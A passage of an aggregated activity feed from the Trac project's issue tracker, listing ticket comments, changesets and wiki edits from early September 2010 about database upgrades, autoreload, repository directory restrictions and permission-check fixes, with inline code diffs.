title="Download"></a>), and this is painful. I think we should find a more fine-grained way to do db uprades, for example each module that needs it could maintain its own db version (e.g. <tt>wiki_db_version</tt>). Feel free to come up with something in this direction, but otherwise I'll take care of it.
05:12 InsideTrac: Trac - Ticket #9352 (0.12b1 is not working with Pysqlite 1.1.7, SQLite 3.3.6) closed by rblank: fixed: This has nothing to do with this issue. Your Trac installation is unable to even load any SQLite bindings. At least one of the following should succeed on a Python prompt: <div class="code"><pre>import pysqlite2.dbapi import sqlite3 </pre></div> If it does, make sure the Python installation used by your web server is correct. This can be tricky if you are using mod_python, for example.
04:59 InsideTrac: Trac - SandBox edited by anonymous: Sandbox-Test (Nummerierung) (<a href="http://trac.edgewall.org/wiki/SandBox?action=diff&version=954">diff</a>)
04:58 InsideTrac: Trac - Ticket #9222 ("full delete" of wiki page could be a non-fatal operation) updated by adam.piper@…: I have supplied an updated patch to the mailing list linked above. Is there any chance of this being merged into Trac?
04:58 InsideTrac: Trac - TracDev/ToDo edited by cboos: updates for 0.13 and later (<a href="http://trac.edgewall.org/wiki/TracDev/ToDo?action=diff&version=104">diff</a>)
04:33 InsideTrac: Trac - TracDev/ToDo edited by cboos: no more release for 0.11.x, prepare 0.12.1 (<a href="http://trac.edgewall.org/wiki/TracDev/ToDo?action=diff&version=103">diff</a>)
04:26 InsideTrac: Trac - ChangeLog edited by cboos: use View Tag | View Milestone links consistently (<a href="http://trac.edgewall.org/wiki/ChangeLog?action=diff&version=65">diff</a>)
04:20 InsideTrac: Trac - Ticket #948 ([patch] Add more control over attachments for the average user) updated by Andrew Schulman <andrex@…>: Cc changed It would also be useful if users could edit the file description.
04:18 InsideTrac: Trac - ChangeLog edited by cboos: prepare notes for <a class="milestone" href="http://trac.edgewall.org/milestone/0.12.1">0.12.1</a> (<a href="http://trac.edgewall.org/wiki/ChangeLog?action=diff&version=64">diff</a>)
03:15 InsideTrac: Trac - Ticket #9602 (auto-reload fail by design) updated by anatoly techtonik <techtonik@…>: An idea. When there is a <tt>Trac[loader] ERROR: Failed to load plugin from XXX</tt> - add this XXX to a list of extra files to be monitored. What is the proper way to pass the list of extra files from main function to monitoring thread? I can try to create a patch that uses global variable, but they say global variables are evil.
02:43 InsideTrac: Trac - Ticket #9602 (auto-reload fail by design) updated by cboos: Well, as we know this since ages, we took the habit of not making syntax errors ;-) Seriously, for the few occasions this happens, we just have to restart tracd (<tt>make server</tt>), at the appropriate time, i.e. after fixing the error. If you have an idea about how to make Trac notice this by itself(?), then please provide us with a patch, otherwise this will likely become a wontfix. Also, in general, there won't be any more change to 0.11-stable, unless someone takes over maintenance (osimons?).
02:26 InsideTrac: Trac - Ticket #9602 (auto-reload fail by design) created by anatoly techtonik <techtonik@…>: It is rather funny that nobody spotted it before, but.. autoreload option designed for development mode actually stops to work once you have a syntax error in your script and the script fails to load. <a class="source" href="http://trac.edgewall.org/browser/branches/0.11-stable/trac/util/autoreload.py?rev=7889">branches/0.11-stable/trac/util/autoreload.py@7889</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/7889/branches/0.11-stable/trac/util/autoreload.py" title="Download"></a> How does this happen. The normal flow with --auto-reload is to start new process for Trac and keep current process solely for monitoring how child behaves. If the child exits with the error code 3, it is restarted. Child itself runs two threads - first it creates thread where a main function is executed. This function processes requests and as a side effect imports all required files filling sys.modules list (shared with main thread, because, well, everything is shared between threads). Main thread then goes into infinite loop to periodically check timestamps of files in sys.modules and exit with error code 3 if timestamp mismatches. Now the problem. If there is a syntax error in .py file it is not added into sys.modules and will not be checked to restart child process when the error is fixed. P.S. I've added it to 0.11.7, because I'd like to see any fix in 0.11. It will be handy for exploring plugins behavior when porting them to 0.12
01:36 InsideTrac: Trac - TracDev/Proposals/AdvancedWikiFormatting edited by cboos: note about example for <a class="new ticket" href="http://trac.edgewall.org/ticket/8140" title="enhancement: nested lists with multiple paragraphs should work properly (new)">#8140</a> (<a href="http://trac.edgewall.org/wiki/TracDev/Proposals/AdvancedWikiFormatting?action=diff&version=39">diff</a>)

09/02/10:

17:34 InsideTrac: Trac - Ticket #9511 (trac.versioncontrol.admin component should be optional) closed by rblank: fixed: Patch applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10042" title="0.12.1dev: Added an option `[versioncontrol] ...">[10042]</a>, with the changes from <a href="http://trac.edgewall.org/ticket/9511#comment:11" title="Comment 11 for Ticket #9511">comment:11</a>.
17:33 InsideTrac: Trac - Changeset [10042]: 0.12.1dev: Added an option `[versioncontrol] ... by rblank: 0.12.1dev: Added an option <tt>[versioncontrol] allowed_repository_dir_prefixes</tt> that allows restricting repository directories for repositories managed through the "Repositories" admin panel, by requiring them to be below one of the given prefixes. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9511" title="defect: trac.versioncontrol.admin component should be optional (closed: fixed)">#9511</a>.
17:05 InsideTrac: Trac - Ticket #9572 (Attribute error reported) updated by cboos: Owner changed
17:05 InsideTrac: Trac - Ticket #9572 (Attribute error reported) closed by cboos: fixed: Applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10039" title="db: forgot to pass the cnx to close, in the deferred close operation. ...">r10039</a> for 0.12.1 and ported in trunk part of <a class="changeset" href="http://trac.edgewall.org/changeset/10041" title="0.13dev: merged all pending changes from 0.12-stable">r10041</a>.
17:03 InsideTrac: Trac - Changeset [10041]: 0.13dev: merged all pending changes from 0.12-stable by cboos: 0.13dev: merged all pending changes from 0.12-stable
16:49 InsideTrac: Trac - Changeset [10040]: 0.13dev: follow-up to r10028, add missing sample data. by cboos: 0.13dev: follow-up to <a class="changeset" href="http://trac.edgewall.org/changeset/10028" title="0.13dev: Added support for SHA password hashes with `--basic-auth`. Patch ...">r10028</a>, add missing sample data.
16:49 InsideTrac: Trac - Ticket #9511 (trac.versioncontrol.admin component should be optional) updated by cboos: Yes, sounds fine, then <tt>repository_dir_prefixes</tt> is OK, maybe even <tt>allowed_repository_dir_prefixes</tt> to be really self-explaining.
16:28 InsideTrac: Trac - Ticket #9511 (trac.versioncontrol.admin component should be optional) updated by rblank: Or <tt>[versioncontrol]</tt>?
13:49 InsideTrac: Trac - Ticket #9601 (Disallow robot navigation for edit pages) created by anatoly techtonik <techtonik@…>: Quite often search results contain links to Trac wiki pages that lead to ?action=edit URLs. These could be disallowed for crawlers. <a class="ext-link" href="http://www.google.com/search?q=genshi+%3Faction%3Dedit"> http://www.google.com/search?q=genshi+%3Faction%3Dedit</a>
10:42 InsideTrac: Trac - Ticket #9600 ("trac-admin repository list" is not available if ...) updated by anonymous: Replying to <a href="http://trac.edgewall.org/ticket/9600#comment:2" title="Comment 2 for Ticket #9600">rblank</a>: <blockquote class="citation"> Why do you disable the <tt>VersionControlAdmin</tt> component? Oh, you mean, the plugin admin panel should not allow disabling <tt>trac-admin</tt> commands, even if some parts of a project are disabled? </blockquote> Yes exactly. <blockquote class="citation"> In most "forge" situations, the plugin admin panel is disabled, or replaced with a simpler version that allows enabling / disabling whole subsystems (wiki, ticket, ...), not individual components. </blockquote> Mhhh... That would indeed be more appropriate for my use-case. How to do so ? Any example available somewhere ? (perhaps <a class="missing wiki" href="http://trac.edgewall.org/wiki/SecurePluginPanel" rel="nofollow">SecurePluginPanel?</a> could help here...) <blockquote class="citation"> Indeed, allowing to upload plugins is a security issue in this situation, as it is equivalent to giving shell access with the permissions of the web server. </blockquote> This is not something that I allow. The plugins/ dir of the projects are write protected. I was only talking of the problem of letting the user disabling a 'component part' that is needed by cron scripts to administer his project...
10:18 InsideTrac: Trac - Ticket #9600 ("trac-admin repository list" is not available if ...) updated by rblank: Why do you disable the <tt>VersionControlAdmin</tt> component? Oh, you mean, the plugin admin panel should not allow disabling <tt>trac-admin</tt> commands, even if some parts of a project are disabled? In most "forge" situations, the plugin admin panel is disabled, or replaced with a simpler version that allows enabling / disabling whole subsystems (wiki, ticket, ...), not individual components. Indeed, allowing to upload plugins is a security issue in this situation, as it is equivalent to giving shell access with the permissions of the web server.
09:46 InsideTrac: Trac - TracPlugins edited by anatoly techtonik <techtonik@…>: link to plugin development page (<a href="http://trac.edgewall.org/wiki/TracPlugins?action=diff&version=67">diff</a>)
09:40 InsideTrac: Trac - PluginList edited by anatoly techtonik <techtonik@…>: cross-link plugin topics (<a href="http://trac.edgewall.org/wiki/PluginList?action=diff&version=66">diff</a>)
08:32 InsideTrac: Trac - Ticket #9600 ("trac-admin repository list" is not available if ...) updated by Samuel.Degrande@…: Replying to <a class="new ticket" href="http://trac.edgewall.org/ticket/9600" title="defect: ">Samuel.Degrande@…</a>: <blockquote class="citation"> The trac-admin "repository list" command is only available when trac.versioncontrol.admin.<a class="missing wiki" href="http://trac.edgewall.org/wiki/VersionControlAdmin" rel="nofollow">VersionControlAdmin?</a> is enabled, while the other commands (add, alias, remove, set) are always available. I would like to use that command in a cron job to detect when a user wants to add a repository to his project, and automatically create it. I know that I can use 'config get/set' to temporally enable trac..<a class="missing wiki" href="http://trac.edgewall.org/wiki/VersionControlAdmin" rel="nofollow">VersionControlAdmin?</a>, but I'm wondering why the "repository list" command is not always available. </blockquote> I just had a look at the sources. I now understand that 'list/sync/resync' need <a class="missing wiki" href="http://trac.edgewall.org/wiki/VersionControlAdmin" rel="nofollow">VersionControlAdmin?</a> to be enabled. So my question is now rather: in a shared trac environment (i.e. in a forge-like setup), trac-admin is used by the administrator of the whole forge to administrate all projects (at least, that's the way I understand it). Letting the admin of a project disable some commands of trac-admin is somehow strange (just like if a Unix user could prevent the root user to do some tasks).
08:20 InsideTrac: Trac - Ticket #9600 ("trac-admin repository list" is not available if ...) created by Samuel.Degrande@…: The trac-admin "repository list" command is only available when trac.versioncontrol.admin.<a class="missing wiki" href="http://trac.edgewall.org/wiki/VersionControlAdmin" rel="nofollow">VersionControlAdmin?</a> is enabled, while the other commands (add, alias, remove, set) are always available. I would like to use that command in a cron job to detect when a user wants to add a repository to his project, and automatically create it. I know that I can use 'config get/set' to temporally enable trac..<a class="missing wiki" href="http://trac.edgewall.org/wiki/VersionControlAdmin" rel="nofollow">VersionControlAdmin?</a>, but I'm wondering why the "repository list" command is not always available.
08:01 InsideTrac: Trac - Ticket #9599 (User friendly error message when port is busy) updated by rblank: Keywords, Milestone changed I wouldn't go as far as connecting and seeing what's running there, but a better error message would be nice indeed.
08:00 InsideTrac: Trac - Ticket #9593 (Missing protocol and FQDN in notification E-mail) updated by rblank: Can you be more precise? Is there an error message when executing the post-commit hook? Anything in the log?
07:59 InsideTrac: Trac - Ticket #9511 (trac.versioncontrol.admin component should be optional) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9511#comment:8" title="Comment 8 for Ticket #9511">cboos</a>: <blockquote class="citation"> Maybe we could add a new <tt>[repository]</tt> section, and the setting itself could be named <tt>restricted_dir_prefixes</tt>? </blockquote> Fine by me. Of course, the <tt>[repositories]</tt> section cannot be used, but <tt>[repository]</tt> is good.
07:57 InsideTrac: Trac - Ticket #9599 (User friendly error message when port is busy) created by anatoly techtonik <techtonik@…>: tracd outputs a non-friendly error message when a port it is trying to bind is busy. <pre class="wiki">Traceback (most recent call last): File "C:\~env\Python27\lib\runpy.py", line 162, in _run_module_as_main "__main__", fname, loader, pkg_name) File "C:\~env\Python27\lib\runpy.py", line 72, in _run_code exec code in run_globals File "c:\users\user\appdata\local\temp\easy_install-iylw6e\Trac-0.12-py2.7-win32.egg.tmp\trac\web\standalone.py", line 299, in <module> File "c:\users\user\appdata\local\temp\easy_install-iylw6e\Trac-0.12-py2.7-win32.egg.tmp\trac\web\standalone.py", line 290, in main File "c:\users\user\appdata\local\temp\easy_install-iylw6e\Trac-0.12-py2.7-win32.egg.tmp\trac\web\standalone.py", line 257, in serve File "c:\users\user\appdata\local\temp\easy_install-iylw6e\Trac-0.12-py2.7-win32.egg.tmp\trac\web\standalone.py", line 109, in __init__ File "c:\users\user\appdata\local\temp\easy_install-iylw6e\Trac-0.12-py2.7-win32.egg.tmp\trac\web\wsgi.py", line 231, in __init__ File "C:\~env\Python27\lib\SocketServer.py", line 408, in __init__ self.server_bind() File "C:\~env\Python27\lib\BaseHTTPServer.py", line 108, in server_bind SocketServer.TCPServer.server_bind(self) File "C:\~env\Python27\lib\SocketServer.py", line 419, in server_bind self.socket.bind(self.server_address) File "C:\~env\Python27\lib\socket.py", line 222, in meth return getattr(self._sock,name)(*args) socket.error: [Errno 10013] An attempt was made to access a socket in a way forbidden by its access permissions </pre> This can be improved to output something like <tt>Error starting Trac server on port %s.</tt> It may even attempt to connect to detect if there is an existing service already and it is not Trac. And output something like <tt>Some application is already running on that port</tt>. Official reasons for the error code <a class="ext-link" href="http://msdn.microsoft.com/en-us/library/ms740668%28VS.85%29.aspx#winsock.wsaeacces_2"> http://msdn.microsoft.com/en-us/library/ms740668%28VS.85%29.aspx#winsock.wsaeacces_2</a>
07:42 InsideTrac: Trac - Ticket #9511 (trac.versioncontrol.admin component should be optional) updated by cboos: Just a small comment regarding the choice of the name for the new setting. I have the feeling that the <tt>[trac]</tt> section starts to become overcrowded (see <a class="wiki" href="http://trac.edgewall.org/wiki/TracIni#trac-section">TracIni#trac-section</a>). The <tt>repository_{dir,type}</tt> have always been there, but now that those settings are nearly obsoleted by multirepos support, we shouldn't add more repository related stuff there. Maybe we could add a new <tt>[repository]</tt> section, and the setting itself could be named <tt>restricted_dir_prefixes</tt>?
07:24 InsideTrac: Trac - Ticket #9593 (Missing protocol and FQDN in notification E-mail) updated by Jens.Langner@…: I followed the advise to set base_url in trac.conf. However, now the automatically sent emails via our "trac-post-commit-hook" stopped working. As soon as I remove base_url (make it empty) the post commit hook works again, but the TicketURL is formatted incorrectly as discussed.
07:11 InsideTrac: Trac - Ticket #9511 (trac.versioncontrol.admin component should be optional) updated by rblank: Thanks for testing! Replying to <a href="http://trac.edgewall.org/ticket/9511#comment:5" title="Comment 5 for Ticket #9511">Samuel.Degrande@…</a>: <blockquote class="citation"> You could perhaps however check realpaths, so that symbolic links can not be used to by-pass the protection. (this is not a problem with my set-up, because users do not have shell access). </blockquote> I intentionally didn't use <tt>realpath()</tt> to allow using symlinks as a level of indirection to "reorganize" your repository layout. This is not a safety issue, even if users have shell access, as you can control the permission to create symlinks in a folder with filesystem permissions. Replying to <a href="http://trac.edgewall.org/ticket/9511#comment:6" title="Comment 6 for Ticket #9511">Samuel.Degrande@…</a>: <blockquote class="citation"> Just wondering: how did they disabled it ? </blockquote> Just disable the <tt>LoggingAdminPanel</tt> component: <div class="code"><pre>[components] trac.admin.web_ui.LoggingAdminPanel = disable </pre></div>
06:46 InsideTrac: Trac - Ticket #9511 (trac.versioncontrol.admin component should be optional) updated by Samuel.Degrande@…: Replying to <a href="http://trac.edgewall.org/ticket/9511#comment:4" title="Comment 4 for Ticket #9511">Ryan J Ollos <ryano@…></a>: <blockquote class="citation"> As a matter of fact, the hosting provider that hosts my production Trac instance disabled access to the logging panel last year for this very reason, after I unknowingly brought this to their attention. </blockquote> Just wondering: how did they disabled it ? Through Apache config ?
06:42 InsideTrac: Trac - Ticket #9511 (trac.versioncontrol.admin component should be optional) updated by Samuel.Degrande@…: (I'm fluzz on IRC). I just tested your patch, and it works like a charm. Thank you so much ! I had however to apply it by hand (I'm using 0.12 'official' version). You could perhaps however check realpaths, so that symbolic links can not be used to by-pass the protection. (this is not a problem with my set-up, because users do not have shell access).
05:48 InsideTrac: Trac - Ticket #9526 (Fine Grained Permission possible realms and paths format are not ...) updated by osimons: The problem is that plugins also provides resource support, and for lookup purposes for users there really should be some code that iterates and presents them. Like we do for config and for macros.
05:15 InsideTrac: Trac - Changeset [10039]: db: forgot to pass the cnx to close, in the deferred close operation. ... by cboos: db: forgot to pass the cnx to close, in the deferred close operation. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9572" title="defect: Attribute error reported (closed: fixed)">#9572</a>.
05:15 InsideTrac: Trac - Changeset [10039]: db: forgot to pass the cnx to close, in the deferred close operation. ... by cboos: db: forgot to pass the cnx to close, in the deferred close operation. Closes <a class="new ticket" href="http://trac.edgewall.org/ticket/9572" title="defect: Attribute error reported (new)">#9572</a>.
05:08 InsideTrac: Trac - Ticket #9572 (Attribute error reported) updated by osimons: I see that the type of request that fails for me are the "forge"-type requests where same process:thread connects with more than one project and hence needs to open more more than a single connection (separate databases). The patch fixes this. Goodie.
04:21 InsideTrac: Trac - Ticket #9572 (Attribute error reported) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9572#comment:6" title="Comment 6 for Ticket #9572">cboos</a>: <blockquote class="citation"> why we didn't detect that mistake earlier when running the patch on t.e.o ... </blockquote> ... is because this code is only triggered when the same process serves different Trac environments (and different databases even, in case the environments correspond to different schemas), which is not the case on t.e.o which has dedicated processes for each environment.
04:18 InsideTrac: Trac - Ticket #9572 (Attribute error reported) updated by cboos: Well, the bug is clear now, but no idea why we didn't detect that mistake earlier when running the patch on t.e.o ;-) <div class="diff"> <ul class="entries"> <li class="entry"> <h2> <a>trac/db/pool.py</a> </h2> <pre> diff --git a/trac/db/pool.py b/trac/db/pool.py</pre> <table class="trac-diff inline" summary="Differences" cellspacing="0"> <colgroup><col class="lineno" /><col class="lineno" /><col class="content" /></colgroup> <thead> <tr> <th title="File a/trac/db/pool.py"> a </th> <th title="File b/trac/db/pool.py"> b </th> <td> class ConnectionPoolBackend(object): </td> </tr> </thead> <tbody class="unmod"> <tr> <th>158</th><th>158</th><td class="l">        # Forth best option: Replace a pooled connection with a new one </td> </tr><tr> <th>159</th><th>159</th><td class="l">        elif len(self._active) < self._maxsize: </td> </tr><tr> <th>160</th><th>160</th><td class="l">            # Remove the LRU connection in the pool </td> </tr> </tbody><tbody class="mod"> <tr class="first"> <th>161</th><th> </th><td class="l">            <del></del>self._pool.pop(0) </td> </tr> <tr class="last"> <th> </th><th>161</th><td class="r">            <ins>cnx = </ins>self._pool.pop(0) </td> </tr> </tbody><tbody class="unmod"> <tr> <th>162</th><th>162</th><td class="l">            self._pool_key.pop(0) </td> </tr><tr> <th>163</th><th>163</th><td class="l">            self._pool_time.pop(0) </td> </tr> </tbody><tbody class="mod"> <tr class="first"> <th>164</th><th> </th><td class="l">            return ('close', <del>None</del>) </td> </tr> <tr class="last"> <th> </th><th>164</th><td class="r">            return ('close', <ins>cnx</ins>) </td> </tr> </tbody><tbody class="unmod"> <tr> <th>165</th><th>165</th><td class="l"> </td> </tr><tr> <th>166</th><th>166</th><td class="l">    def _return_cnx(self, cnx, key, tid): </td> </tr><tr> <th>167</th><th>167</th><td class="l">        # Decrement active refcount, clear slot if 1 </td> </tr> </tbody> </table> </li> </ul> </div> Could you please try the above fix?
04:07 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by osimons: Works as expected. Thanks a lot!
04:03 InsideTrac: Trac - Ticket #9572 (Attribute error reported) updated by osimons: I see this too on my development setup, and the error is reported consistently for certain requests. Exact same error(s). I just don't know why yet... Christian, I'm on IRC as usual if you want to help me research this one... :-)
03:52 InsideTrac: Trac - Ticket #9098 (Provide separate Tickets opened, Tickets closed checkboxes on timeline) updated by cboos: I'm not sure it's worth making the timeline filters more complex when we already have a lot of flexibility to achieve the same result in the Custom Query view, as you've noted yourself. If you'd like to have the results shown in a timeline, I think it would make more sense to have an option to show the Custom Query results in a timeline view (a new format 'timeline' that could also be used by the <a class="wiki" href="http://trac.edgewall.org/wiki/TicketQuery">TicketQuery</a> macro). Something like I did in the old <a class="wiki" href="http://trac.edgewall.org/wiki/SearchRefactoring">SearchRefactoring</a> branch (<a class="changeset" href="http://trac.edgewall.org/changeset/5543" title="SearchRefactoring: in addition to the new default view of the results ...">r5543</a>) for an alternative display of the search results.
03:38 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/6369#comment:25" title="Comment 25 for Ticket #6369">rblank</a>: <blockquote class="citation"> Replying to <a href="http://trac.edgewall.org/ticket/6369#comment:24" title="Comment 24 for Ticket #6369">cboos</a>: <blockquote class="citation"> Same feeling here, plus <tt> due.time() == time()</tt> looking scary... </blockquote> Why is that? <tt>time()</tt> is the same as <tt>time(0, 0, 0, 0)</tt>, so this checks if the time part of a <tt>datetime</tt> is all zeros. </blockquote> Ah right, it was <tt>datetime.time()</tt> not <tt>time.time()</tt>...
03:22 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: Fixed coarse permission checks when <tt>[trac] authz_module_name</tt> is defined in <a class="changeset" href="http://trac.edgewall.org/changeset/10038" title="0.12.1dev: Follow-up to [10037], fixed coarse permission checks when ...">[10038]</a>.
03:19 InsideTrac: Trac - Changeset [10038]: 0.12.1dev: Follow-up to [10037], fixed coarse permission checks when ... by rblank: 0.12.1dev: Follow-up to <a class="changeset" href="http://trac.edgewall.org/changeset/10037" title="0.12.1dev: In `AuthzSourcePolicy`, only use module names corresponding to ...">[10037]</a>, fixed coarse permission checks when <tt>[trac] authz_module_name</tt> is defined, and only keep the relevant parts of the authz file in memory (good for installations with huge authz files). Part of <a class="closed ticket" href="http://trac.edgewall.org/ticket/9542" title="defect: ">#9542</a>.
03:17 InsideTrac: Trac - Ticket #9098 (Provide separate Tickets opened, Tickets closed checkboxes on timeline) updated by Ryan J Ollos <ryano@…>: I'd like to work on a patch for this if it is a feature enhancement that would be accepted. I'm assuming this would be targeted for 0.13, if anyone else even likes the feature. The simplest implementation I can think of is to just replace the Tickets opened and closed checkbox with 2 checkboxes: <blockquote> Tickets opened Tickets closed </blockquote> A more sophisticated approach might be to use some javascript to perform an action similar to what is done with Changesets in all repositories. <blockquote> Tickets changed <blockquote> Opened Closed Updated </blockquote> </blockquote> When Tickets changed is selected, the 3 checkboxes below would appear and would initially all be selected. When Tickets changed is unselected, they would disappear.
03:17 InsideTrac: Trac - TracDownload edited by cboos: trunk is 0.13dev, stable is 0.12 (<a href="http://trac.edgewall.org/wiki/TracDownload?action=diff&version=126">diff</a>)
03:12 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by rblank: Owner changed
03:12 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) closed by rblank: fixed: Replying to <a href="http://trac.edgewall.org/ticket/6369#comment:24" title="Comment 24 for Ticket #6369">cboos</a>: <blockquote class="citation"> Same feeling here, plus <tt> due.time() == time()</tt> looking scary... </blockquote> Why is that? <tt>time()</tt> is the same as <tt>time(0, 0, 0, 0)</tt>, so this checks if the time part of a <tt>datetime</tt> is all zeros. But yeah, I'm not convinced either, so let's leave it at that.
03:04 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by cboos: Same feeling here, plus <tt> due.time() == time()</tt> looking scary...
02:58 InsideTrac: Trac - Ticket #9598 (All ticket times show up as 41 years ago) closed by nat@…: invalid: I went through and corrected all of the fields by restoring to the db dump I made before hand and redoing the db upgrade. That seemed to fix the issue. Not sure why the values didn't get changed the first time. Thanks for pointing me in the right direction rblank.
02:52 InsideTrac: Trac - Ticket #9598 (All ticket times show up as 41 years ago) updated by nat@…: I did, but while the fields are big int, they are definitly the former size, not the latter. I guess I should run a query to multiply all of the time fields by 1000000?
02:41 InsideTrac: Trac - Ticket #9598 (All ticket times show up as 41 years ago) updated by rblank: Replying to <a class="closed ticket" href="http://trac.edgewall.org/ticket/9598" title="defect: All ticket times show up as 41 years ago (closed: invalid)">nat@…</a>: <blockquote class="citation"> I assume this is some how a bug in my system, and not a bug in the trac upgrader, but I can't figure it out for the life of me. </blockquote> If that's the case, this issue doesn't belong here. But... <blockquote class="citation"> I just upgraded trac from 0.11.4 to 0.12 and now all dates on tickets are from 41 years ago. We are using MySQL as the backend, and looking at the ticket and ticket_changes tables, all of the time fields are full and correct. </blockquote> ... this is very suspect. Are you sure the time fields are correct? Do they rather look like <tt>1283408980</tt> or like <tt>1283408980000000</tt>? It should be the latter. <blockquote class="citation"> But all times show up as 1969-12-31T17:21:23-07:00. When I try and comment on a ticket, it sets the time in the db for that change as 2147483647. </blockquote> It looks like the timestamps weren't converted to microseconds, and the timestamp columns weren't converted to <tt>BIGINT</tt>. Could you please check the type of the time fields? I assume you ran <tt>trac-admin $ENV upgrade</tt> and you didn't get any error messages?
02:41 InsideTrac: Trac - Ticket #9598 (All ticket times show up as 41 years ago) updated by rblank: Replying to <a class="new ticket" href="http://trac.edgewall.org/ticket/9598" title="defect: All ticket times show up as 41 years ago (new)">nat@…</a>: <blockquote class="citation"> I assume this is some how a bug in my system, and not a bug in the trac upgrader, but I can't figure it out for the life of me. </blockquote> If that's the case, this issue doesn't belong here. But... <blockquote class="citation"> I just upgraded trac from 0.11.4 to 0.12 and now all dates on tickets are from 41 years ago. We are using MySQL as the backend, and looking at the ticket and ticket_changes tables, all of the time fields are full and correct. </blockquote> ... this is very suspect. Are you sure the time fields are correct? Do they rather look like <tt>1283408980</tt> or like <tt>1283408980000000</tt>? It should be the latter. <blockquote class="citation"> But all times show up as 1969-12-31T17:21:23-07:00. When I try and comment on a ticket, it sets the time in the db for that change as 2147483647. </blockquote> It looks like the timestamps weren't converted to microseconds, and the timestamp columns weren't converted to <tt>BIGINT</tt>. Could you please check the type of the time fields? I assume you ran <tt>trac-admin $ENV upgrade</tt> and you didn't get any error messages?
01:37 InsideTrac: Trac - Ticket #9598 (All ticket times show up as 41 years ago) created by nat@…: I just upgraded trac from 0.11.4 to 0.12 and now all dates on tickets are from 41 years ago. We are using MySQL as the backend, and looking at the ticket and ticket_changes tables, all of the time fields are full and correct. But all times show up as 1969-12-31T17:21:23-07:00. When I try and comment on a ticket, it sets the time in the db for that change as 2147483647. I assume this is some how a bug in my system, and not a bug in the trac upgrader, but I can't figure it out for the life of me. Also i'm on python 2.4 and running this through apache2.

09/01/10:

21:37 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) closed by rblank: fixed: Patch confirmed, applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10037" title="0.12.1dev: In `AuthzSourcePolicy`, only use module names corresponding to ...">[10037]</a>.
21:35 InsideTrac: Trac - Changeset [10037]: 0.12.1dev: In `AuthzSourcePolicy`, only use module names corresponding to ... by rblank: 0.12.1dev: In <tt>AuthzSourcePolicy</tt>, only use module names corresponding to real repositories to determine coarse permissions. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9542" title="defect: ">#9542</a>.
21:28 InsideTrac: Trac - Ticket #4995 (Web-Admin error with Trac milestones) updated by Mark Mc Mahon <mark.mcmahon@…>: I would recommend this ticket be closed. Looking under Admin in 0.13 dev: <ul><li>There is a completed column </li><li>Clicking on a completed milestone (and it is check correctly) </li></ul>
21:28 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: Oh, stupid error. Here's the correct patch, with unit tests passing: <div class="diff"> <ul class="entries"> <li class="entry"> <h2> <a>trac/versioncontrol/svn_authz.py</a> </h2> <pre>diff --git a/trac/versioncontrol/svn_authz.py b/trac/versioncontrol/svn_authz.py</pre> <table class="trac-diff inline" summary="Differences" cellspacing="0"> <colgroup><col class="lineno" /><col class="lineno" /><col class="content" /></colgroup> <thead> <tr> <th title="File a/trac/versioncontrol/svn_authz.py"> a </th> <th title="File b/trac/versioncontrol/svn_authz.py"> b </th> <td> </td> </tr> </thead> <tbody class="unmod"> <tr> <th>216</th><th>216</th><td class="l">            self.log.info('Parsing authz file: %s' % self.authz_file) </td> </tr><tr> <th>217</th><th>217</th><td class="l">            try: </td> </tr><tr> <th>218</th><th>218</th><td class="l">                self._authz = parse(read_file(self.authz_file)) </td> </tr> </tbody><tbody class="mod"> <tr class="first"> <th>219</th><th> </th><td class="l">                self._users = set(user for module in self._authz.itervalues() </td> </tr><tr> <th>220</th><th> </th><td class="l">                                  for path in module.itervalues() </td> </tr> <tr> <th> </th><th>219</th><td class="r">                rm = RepositoryManager(self.env) </td> </tr><tr> <th> </th><th>220</th><td class="r">                modules = set(repos.reponame </td> </tr><tr> <th> </th><th>221</th><td class="r">                              for repos in rm.get_real_repositories()) </td> </tr><tr> <th> </th><th>222</th><td class="r">                modules.add('') </td> </tr><tr> <th> </th><th>223</th><td class="r">                self._users = set(user </td> </tr><tr> <th> </th><th>224</th><td class="r">                                  for module, paths in self._authz.iteritems() </td> </tr><tr> <th> </th><th>225</th><td class="r">                                  if module in modules </td> </tr><tr class="last"> <th> </th><th>226</th><td class="r">                                  for path in paths.itervalues() </td> </tr> </tbody><tbody class="unmod"> <tr> <th>221</th><th>227</th><td class="l">                                  for user, result in path.iteritems() </td> </tr><tr> <th>222</th><th>228</th><td class="l">                                  if result) </td> </tr><tr> <th>223</th><th>229</th><td class="l">            except Exception, e: </td> </tr> </tbody> </table> </li> <li class="entry"> <h2> <a>trac/versioncontrol/tests/svn_authz.py</a> </h2> <pre>diff --git a/trac/versioncontrol/tests/svn_authz.py b/trac/versioncontrol/tests/svn_authz.py</pre> <table class="trac-diff inline" summary="Differences" cellspacing="0"> <colgroup><col class="lineno" /><col class="lineno" /><col class="content" /></colgroup> <thead> <tr> <th title="File a/trac/versioncontrol/tests/svn_authz.py"> a </th> <th title="File b/trac/versioncontrol/tests/svn_authz.py"> b </th> <td> </td> </tr> </thead> <tbody class="unmod"> <tr> <th>201</th><th>201</th><td class="l">        rm = RepositoryManager(self.env) </td> </tr><tr> <th>202</th><th>202</th><td class="l">        </td> </tr><tr> <th>203</th><th>203</th><td class="l">        class TestRepositoryManager(rm.__class__): </td> </tr> </tbody><tbody class="add"> <tr class="first"> <th> </th><th>204</th><td class="r"><ins>            def get_real_repositories(self):</ins> </td> </tr><tr> <th> </th><th>205</th><td class="r"><ins>                return set([Mock(reponame='module')])</ins> </td> </tr><tr class="last"> <th> </th><th>206</th><td class="r"><ins></ins> </td> </tr> 